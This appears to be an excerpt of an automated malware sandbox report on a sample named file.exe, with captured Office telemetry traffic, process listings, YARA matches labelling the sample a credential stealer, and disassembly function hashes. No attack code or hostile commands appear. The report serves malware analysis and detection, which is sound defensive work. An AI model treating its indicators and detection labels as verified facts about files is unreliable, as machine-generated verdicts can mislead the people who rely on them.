2024-11-21 13:27:25 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:26 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:26 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 8480a152-001e-0065-4fca-3b0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132726Z-r1d97b99577tssmjhC1TEB8kan0000000aag0000000082kv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:26 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:25 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:26 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:26 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: c1bcbb00-101e-0065-7560-3b4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132726Z-178bfbc474b9xljthC1NYCtw9400000001c000000000h619 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:26 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:26 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:26 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:26 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 947c99fd-001e-00a2-4d8c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132726Z-r1d97b9957747b9jhC1TEBgyec0000000akg000000005mxq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:26 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:26 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:26 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:26 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 50374635-701e-0053-1175-3b3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132726Z-1777c6cb754xrr98hC1TEB3kag0000000b3g0000000000dx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:26 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:27 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:27 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:27 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: f390f01b-d01e-0017-588c-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132727Z-r1d97b99577kk29chC1TEBemmg0000000abg00000000fwbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:27 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Target ID:	0
Start time:	08:26:04
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xc90000
File size:	1'841'152 bytes
MD5 hash:	743AE689F70257D7A4EE703C6D9BA24B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2178961746.000000000165F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2203346203.000000000165F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2178633717.000000000165E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2206653921.0000000001665000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2202751223.000000000165E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2206639627.000000000165F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2206668406.0000000001668000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2155221118.000000000165E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:26:39
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	08:26:40
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1728 --field-trial-handle=1988,i,17902174310795812285,10958693031429815383,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	08:26:42
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:26:43
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1976,i,8889273046663356673,18172762526831080646,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	0

Executed Functions

Function 06B6E69C Relevance: 1.3, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 06B6F775

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4bf616bca4ff17809ffd27046896ab24e445068ec4723717b269739dc5f20a71
Instruction ID: 4b23d2ce07d0df0dd0ea5761896334f118b5c99c010aef14771c59d95e3eff1c
Opcode Fuzzy Hash: 4bf616bca4ff17809ffd27046896ab24e445068ec4723717b269739dc5f20a71
Instruction Fuzzy Hash: 68F0B7B691C211DFE741AF14D84166EB7E5EF18311F0A086DEEC997240E335A8A0CB87

Function 06B6E528 Relevance: 1.3, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000), ref: 06B6F5D1

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: a57861207f5f79bbf71630807d1680af8ade473dd3003705e8356017147deae4
Instruction ID: 5535808b41d92520c5e91066448cf9215273355a06678958c87ffeb4ac24c303
Opcode Fuzzy Hash: a57861207f5f79bbf71630807d1680af8ade473dd3003705e8356017147deae4
Instruction Fuzzy Hash: 4DE04F7620C209DFD7801F69A80C1DE3BB1EF84775F110619F89286AC4CB3A5C91DB51

Non-executed Functions

Function 06B9DE45 Relevance: 3.0, Strings: 2, Instructions: 488
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

J6}, xrefs: 06B9E455
5E/T, xrefs: 06B9E2F0

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: 5E/T$J6}
API String ID: 0-670004881
Opcode ID: 3ad4e85b3ef492b00f278b8082d4aef4af82446cda74d06ea6df862807b055b8
Instruction ID: 17a058296495656f9c4e42e41c0e0288641bf77deb35b6040590e5acc8263bab
Opcode Fuzzy Hash: 3ad4e85b3ef492b00f278b8082d4aef4af82446cda74d06ea6df862807b055b8
Instruction Fuzzy Hash: 1AF1FFF3E152104BF3488E39DD59366B692EBD0720F2B863C9A89977C4DD3D9C0A8785

Function 06BA742D Relevance: 1.8, Strings: 1, Instructions: 561
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/8wZ, xrefs: 06BA79DF

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: /8wZ
API String ID: 0-414024583
Opcode ID: 8a6ad9ef82b785fd9de3ded4a97f75a6b3f86a83430cd6866d0abbd90d527aa0
Instruction ID: cfc82e3f8cf84a807500a737083114705b910a73bf62399d7e502e5d4fc15a94
Opcode Fuzzy Hash: 8a6ad9ef82b785fd9de3ded4a97f75a6b3f86a83430cd6866d0abbd90d527aa0
Instruction Fuzzy Hash: 1512CFF3F146214BF3485929DD983667693EBD4320F2B863C9F88AB7C5D93D4C0A8285

Function 06B7EDE5 Relevance: 1.7, Strings: 1, Instructions: 433
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Mo, xrefs: 06B7F3B0

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: Mo
API String ID: 0-597692353
Opcode ID: 1f2035dac6bc561a45de0b6b6aee818628fe1bc265dc4a67e2a1fabac3103c42
Instruction ID: 92f988dc740293df0c20f1b034ec95222b6871496e74ee0cdefeedebd635eebb
Opcode Fuzzy Hash: 1f2035dac6bc561a45de0b6b6aee818628fe1bc265dc4a67e2a1fabac3103c42
Instruction Fuzzy Hash: CEE1F1B3F142144BF3489E28DC983767796EBD4320F2A853DDA84A7BC4D93E9D098385

Function 06B9734D Relevance: 1.6, Strings: 1, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

?6uZ, xrefs: 06B97615

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: ?6uZ
API String ID: 0-1880923024
Opcode ID: 1d21143402d8a7624451cf8ea74eb7d6b01070296ea5ecccc5b26185539336d9
Instruction ID: 8609122320ae3a76b5f38f6a1a4ada08362b5875db40527b81e26253eacfd86a
Opcode Fuzzy Hash: 1d21143402d8a7624451cf8ea74eb7d6b01070296ea5ecccc5b26185539336d9
Instruction Fuzzy Hash: 9AB180B3F1162447F7544968CC983A26682DBE4321F2F82788F59AB7C9E8BE5D0953C4

Function 06BB6FAC Relevance: 1.6, Strings: 1, Instructions: 318
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0, xrefs: 06BB70DE

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E07000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E16000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006E18000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b60000_file.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 2002c749d71e8456d2c6294c90f1775ebcac782d4d71463e81d39c2ea6c00d82
Instruction ID: 11287d2b8d5508646e865a9df08c8f3065bf539ab5ec10fa44f435ff1b7a54da
Opcode Fuzzy Hash: 2002c749d71e8456d2c6294c90f1775ebcac782d4d71463e81d39c2ea6c00d82
Instruction Fuzzy Hash: ADB17FF3F1162547F3584929CC683626683DBE1321F2F82798E59ABBC9DC7E5D061384

Function 06B8BF9B Relevance: 1.6, Strings: 1, Instructions: 315
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

W, xrefs: 06B8C09E

Memory Dump Source

Source File: 00000000.00000002.2490923601.0000000006B6A000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: true

Associated: 00000000.00000002.2490856504.0000000006B60000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490878415.0000000006B62000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490903468.0000000006B66000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2490923601.0000000006CFB000.00000040.00000800.00020000.00000000.sdmpDownload File
